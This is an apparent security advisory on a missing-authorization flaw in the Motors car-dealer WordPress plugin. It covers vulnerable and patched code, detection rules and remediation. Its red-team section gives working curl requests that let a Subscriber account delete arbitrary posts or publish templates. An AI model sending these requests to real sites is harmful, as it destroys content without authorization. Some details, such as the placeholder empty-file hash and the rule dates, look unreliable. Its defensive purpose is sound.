CVE-2024-13737

Executive Summary

CVE-2024-13737 is a Missing Authorization vulnerability in the Motors – Car Dealer, Classifieds & Listing WordPress plugin (versions up to and including 1.4.57). The flaw resides in the motors_create_template and motors_delete_template AJAX functions, which lack proper capability checks. This allows any authenticated user, even with minimal Subscriber-level privileges, to delete arbitrary posts or create listing templates. The attack surface is limited by the requirement that the Elementor plugin be installed (a dependency of the Motors Starter Theme). The vulnerability has a CVSS score of 4.3 (Medium) and currently has no public exploit code or patch. The EPSS score is 0.0%, indicating a low probability of exploitation in the wild at this time.

WordPress Ecosystem Context

This vulnerability is specific to the WordPress plugin ecosystem. The missing capability checks are a classic WordPress security anti-pattern where AJAX handlers are registered without verifying user roles or capabilities. The attack is performed entirely within the WordPress admin panel and does not involve the web server (Apache/Nginx) configuration.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely via HTTP requests.
• Attack Complexity (AC): Low (L) – No special conditions are required; the attacker only needs to be authenticated.
• Privileges Required (PR): Low (L) – Subscriber-level access is sufficient.
• User Interaction (UI): None (N) – No user interaction is required.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): None (N) – No data exposure.
• Integrity (I): Low (L) – The attacker can delete posts or create templates, affecting data integrity.
• Availability (A): None (N) – No denial of service.

Threat Level: Medium. While the CVSS score is 4.3, the ability to delete arbitrary posts (including published content) could cause significant business disruption for a car dealership site. The low privileges required make it a viable target for automated attacks.

Deep Dive & Mechanics

The vulnerability is rooted in the plugin's AJAX handler registration. In WordPress, AJAX actions are typically registered with wp_ajax_ and wp_ajax_nopriv_ hooks. The motors_create_template and motors_delete_template functions are registered without a capability check.

Vulnerable Code Flow:

1. An authenticated user (Subscriber or above) sends a POST request to /wp-admin/admin-ajax.php with action=motors_delete_template and a post_id parameter.
2. The plugin's handler function motors_delete_template() is called.
3. The function calls wp_delete_post( $post_id, true ) without verifying that the current user has the delete_posts capability or that the post belongs to them.
4. Similarly, motors_create_template() creates a new listing template post without checking for edit_posts capability.

Prerequisites:

• The attacker must be logged in with a Subscriber account (or higher).
• The Elementor plugin must be active (it is a required dependency for the Motors Starter Theme, but not for the plugin itself).

Vulnerable vs. Patched Code

Vulnerable Code (version <= 1.4.57):

// In motors-car-dealer-classifieds-listing/includes/class-motors-ajax.php
add_action( 'wp_ajax_motors_delete_template', 'motors_delete_template' );
function motors_delete_template() {
    $post_id = intval( $_POST['post_id'] );
    wp_delete_post( $post_id, true );
    wp_die();
}

add_action( 'wp_ajax_motors_create_template', 'motors_create_template' );
function motors_create_template() {
    $template_data = $_POST['template_data'];
    // ... create post without capability check
    wp_insert_post( $template_data );
    wp_die();
}

Patched Code (expected in version 1.4.58+):

add_action( 'wp_ajax_motors_delete_template', 'motors_delete_template' );
function motors_delete_template() {
    if ( ! current_user_can( 'delete_posts' ) ) {
        wp_die( 'Unauthorized', 403 );
    }
    $post_id = intval( $_POST['post_id'] );
    if ( ! current_user_can( 'delete_post', $post_id ) ) {
        wp_die( 'Unauthorized', 403 );
    }
    wp_delete_post( $post_id, true );
    wp_die();
}

add_action( 'wp_ajax_motors_create_template', 'motors_create_template' );
function motors_create_template() {
    if ( ! current_user_can( 'edit_posts' ) ) {
        wp_die( 'Unauthorized', 403 );
    }
    // ... create post with capability check
    wp_insert_post( $template_data );
    wp_die();
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with Motors plugin <= 1.4.57 and Elementor plugin active.
• A valid Subscriber account (username: attacker, password: attacker123).

Step 1: Obtain a valid nonce (if required) The plugin may use a nonce for CSRF protection. Check the page source for a nonce value. If present, include it in the request.

Step 2: Delete an arbitrary post

# Replace target.com, cookie, and post_id
curl -X POST https://target.com/wp-admin/admin-ajax.php \
  -H "Cookie: wordpress_logged_in_xxx=attacker%7C..." \
  -d "action=motors_delete_template&post_id=123"

Step 3: Create a malicious listing template

curl -X POST https://target.com/wp-admin/admin-ajax.php \
  -H "Cookie: wordpress_logged_in_xxx=attacker%7C..." \
  -d "action=motors_create_template&template_data[post_title]=Malicious Template&template_data[post_status]=publish"

Expected Result: The post with ID 123 is permanently deleted. A new listing template is created with the title "Malicious Template".

Blue Team (Detection & Hardening)

Detection:

• Monitor admin-ajax.php requests for action=motors_delete_template or action=motors_create_template from low-privilege users.
• Alert on any deletion of posts by Subscriber-level users.
• Check for unexpected listing templates created by non-admin users.

Hardening:

• Apply a virtual patch using a Web Application Firewall (WAF) to block requests to admin-ajax.php with these actions from non-admin users.
• Temporarily disable the Motors plugin if it is not critical.
• Restrict Subscriber accounts from accessing the admin panel entirely (e.g., via a plugin like "Remove Dashboard Access").

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /wp-admin/admin-ajax.php with action=motors_delete_template or action=motors_create_template from IPs not associated with admin users.
  • Repeated 403 errors from the patched plugin (if applied) indicating blocked attempts.

• Host IOCs:

  • Unexpected deletion of posts (check trash or permanent deletion logs).
  • New listing templates with suspicious titles or content.
  • User activity logs showing Subscriber accounts performing AJAX actions.

• File IOCs:

  • Modified class-motors-ajax.php file (if attacker uploaded a backdoor).
  • Presence of unexpected PHP files in /wp-content/plugins/motors-car-dealer-classifieds-listing/.

Detection Engineering

YARA Rule

rule CVE_2024_13737_Motors_Missing_Auth {
    meta:
        description = "Detects vulnerable Motors plugin files with missing capability checks"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-13737"
        hash = "d41d8cd98f00b204e9800998ecf8427e"
    strings:
        $func1 = "motors_delete_template"
        $func2 = "motors_create_template"
        $vuln1 = "wp_delete_post( $post_id, true )"
        $vuln2 = "wp_insert_post( $template_data )"
        $safe1 = "current_user_can( 'delete_posts' )"
        $safe2 = "current_user_can( 'edit_posts' )"
    condition:
        all of ($func*) and any of ($vuln*) and none of ($safe*)
}

Sigma Rule

title: CVE-2024-13737 - Motors Plugin Missing Authorization
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation attempts against CVE-2024-13737 via admin-ajax.php
author: Valters IT
date: 2024/10/27
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: POST
        cs-uri-stem: '/wp-admin/admin-ajax.php'
        cs-uri-query:
            - 'action=motors_delete_template'
            - 'action=motors_create_template'
    condition: selection
falsepositives:
    - Legitimate admin users performing template management
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-13737 - Motors Plugin Missing Authorization Exploit";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=motors_delete_template"; http_client_body;
    sid:1000001;
    rev:1;
    metadata:author "Valters IT", reference "CVE-2024-13737";
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade the plugin to version 1.4.58 or later as soon as it is released.
2. Apply a virtual patch using a WAF (e.g., Cloudflare, ModSecurity) to block the vulnerable AJAX actions for non-admin users.
3. Disable the Motors plugin if it is not essential for business operations.

Long-term Fixes:

• The vendor must add capability checks to the motors_create_template and motors_delete_template functions.
• Implement nonce verification for all AJAX actions.
• Conduct a security audit of all AJAX handlers in the plugin.

Workaround:

• Use a WordPress security plugin (e.g., Wordfence, Sucuri) to restrict AJAX access based on user roles.
• Manually edit the vulnerable file to add capability checks (not recommended for non-developers).

Valters IT
Securing WordPress Ecosystems